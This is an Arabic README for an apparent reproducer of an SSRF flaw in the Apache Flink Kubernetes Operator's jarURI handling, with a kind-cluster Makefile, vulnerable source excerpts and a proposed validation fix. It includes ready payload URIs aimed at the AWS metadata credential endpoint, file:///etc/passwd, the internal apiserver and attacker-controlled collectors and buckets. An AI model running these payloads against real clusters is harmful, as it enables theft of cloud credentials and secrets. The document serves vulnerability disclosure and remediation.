
CVE-2026-40564: SSRF عبر FlinkSessionJob jarURI في apache/flink-kubernetes-operator. مُعيد إنتاج مستقل بذاته يعمل على عنقود kind محلي بأمر make واحد.
لا يتحقق مشغّل Apache Flink Kubernetes Operator من الحقل spec.job.jarURI في موارد FlinkSessionJob (أو FlinkDeployment). يمكن لأي شخص قادر على إنشاء أحد هذه الموارد ضبط jarURI على أي عنوان URL. عندما يوائم المشغّل المورد، فإنه يجلب ذلك العنوان من داخل الـ pod الخاص به. يمكن أن يكون المخطط http أو https أو file أو أيًا من إضافات أنظمة الملفات التي يأتي بها Flink، لذا يمكن للطلب أن يذهب إلى أي مكان تقريبًا يصل إليه pod المشغّل.
main (1.15-SNAPSHOT اعتبارًا من 2026-04-09)[email protected] و[email protected] في 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
يشغّل هذا خمس خطوات بالترتيب:
FlinkSessionJob يشير jarURI فيه إلى ذلك العنوانعندما يعمل الأمر بنجاح، تبدو نهاية التشغيل بهذا الشكل:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
يستغرق التشغيل الأول حوالي 6 إلى 8 دقائق. معظم ذلك الوقت يُستهلك في سحب صورة flink:1.17، التي يبلغ حجمها حوالي 700 ميغابايت. أما عمليات التشغيل اللاحقة فتقترب من 3 دقائق.
docker وkind وkubectl 1.23 أو أحدث وhelm 3 وmake وcurl وjq. يجب أن تتصل المجموعة بالإنترنت حتى تتمكن من التواصل مع webhook.site.
افتراضيًا، يلتقط ملف Makefile عنوان webhook.site جديدًا لك. لإرسال الطلب إلى مكان آخر، اضبط SSRF_URL على قيمة jarURI الكاملة التي تريدها. سيُستخدم العنوان كما هو مكتوب.
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd
تعتمد طريقة تأكيد الفحص للنتيجة على الهدف. إذا كان العنوان على webhook.site، يقرأ ملف Makefile واجهة REST API الخاصة به ويطبع الطلبات الملتقطة. بالنسبة لأي هدف آخر، يقرأ سجل المشغّل ويبحث عن إطار الاستدعاء HttpArtifactFetcher.fetch، وهو ما يُظهر أن عملية الجلب تمت. يعمل WEBHOOK_URL أيضًا ويعني نفس معنى SSRF_URL.
make cleanup
يزيل هذا الأمر مجموعة kind. لا يُترك أي أثر خلفه.
هناك ثلاث فئات متورطة في الأمر، ولا تفحص أي منها المخطط أو المضيف أو عنوان IP في jarURI.
تتحقق DefaultValidator.validateJobSpec من التوازي (parallelism)، ووضع الترقية، وإعدادات savepoint، وشكل الموارد. ولا تقرأ job.getJarURI() أبدًا:
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
تختار ArtifactManager.fetch أداة جلب (fetcher) بناءً على المخطط. لا توجد قائمة مسموح بها (allowlist)، وأي شيء ليس http أو https يُمرَّر إلى طبقة نظام ملفات Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
تفتح HttpArtifactFetcher.fetch العنوان كما هو مُعطى. لا يوجد فحص للمضيف، ولا فحص لنطاق عناوين IP، ولا شيء يمنعها من الوصول إلى عناوين loopback أو link-local:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
يعمل المشغّل عادةً بصلاحيات RBAC واسعة. يمنح مخطط Helm الرسمي صلاحية * على عدة أنواع من الموارد، بما في ذلك الأسرار (secrets)، ويمكن للـ pod عادةً الوصول إلى الشبكة دون قيود. إذا استطعت جعله يرسل طلبات بالنيابة عنك، يمكنك:
FlinkSessionJobفي مجموعة مشتركة تستخدم فيها عدة فرق نفس المشغّل، يمكن لأيٍّ منها استخدامه للوصول إلى موارد فريق آخر.
يستخدم مُعيد إنتاج الثغرة webhook.site افتراضيًا، لكن الثغرة لا تهتم بالعنوان مهما كان. اضبط SSRF_URL، أو عدّل manifests/vulnerable-sessionjob.yaml، على أيٍّ من هذه القيم:
jarURI |
|---|
أضف فحصًا إلى DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
امنح KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES قيمة افتراضية هي Set.of("https"). ويمكن للمشغّلين الذين يحتاجون s3 أو أي مخطط آخر إضافته.
أمران آخران يستحقان التنفيذ:
NetworkPolicy لـ pod المشغّل تحجب الاتصال الصادر (egress) إلى عناوين link-local (169.254.0.0/16) وloopback وعناوين بيانات التعريف السحابية المعروفة.يتفادى ملف Makefile مشكلتين تعطّلان kind على Linux. يعمل كل فحص فقط عند وجود المشكلة فعلًا، لذا من الآمن تشغيله مرة أخرى.
/etc/resolv.conf الخاص بعقدة kind إلى 127.0.0.1، لذا تحلّ المجموعة الأسماء الخارجية على localhost. تعيد خطوة cluster-up كتابة إعداد CoreDNS لتوجيه الاستعلامات إلى 1.1.1.1 و8.8.8.8.ndots على 5، يُضاف إلى اسم مثل webhook.site نطاقات بحث المضيف أولًا، ويجيب بعض مزوّدي خدمة الإنترنت بـ 127.0.0.1 عن النطاقات الفرعية التي لا يعرفونها. تمنح خطوة install-operator pod المشغّل dnsConfig خاصًا به لمنع حدوث ذلك.إذا فشل تشغيل كامل في منتصفه، يمكنك تشغيل make verify-ssrf بمفرده. يقرأ jarURI من FlinkSessionJob المباشر، لذا لا يعتمد على أي شيء محفوظ محليًا.
| يصل إلى |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1، بيانات اعتماد IAM لعقدة pod المشغّل |
http://10.0.0.1:6443/api | خادم apiserver داخل المجموعة، أو أي نقطة نهاية داخلية تسمح بعنوان IP الخاص بالمشغّل |
file:///etc/passwd | نظام الملفات الخاص بـ pod المشغّل نفسه، عبر فرع أداة الجلب المبنية على نظام الملفات |
s3://attacker-bucket/x.jar | S3، باستخدام بيانات اعتماد pod المشغّل |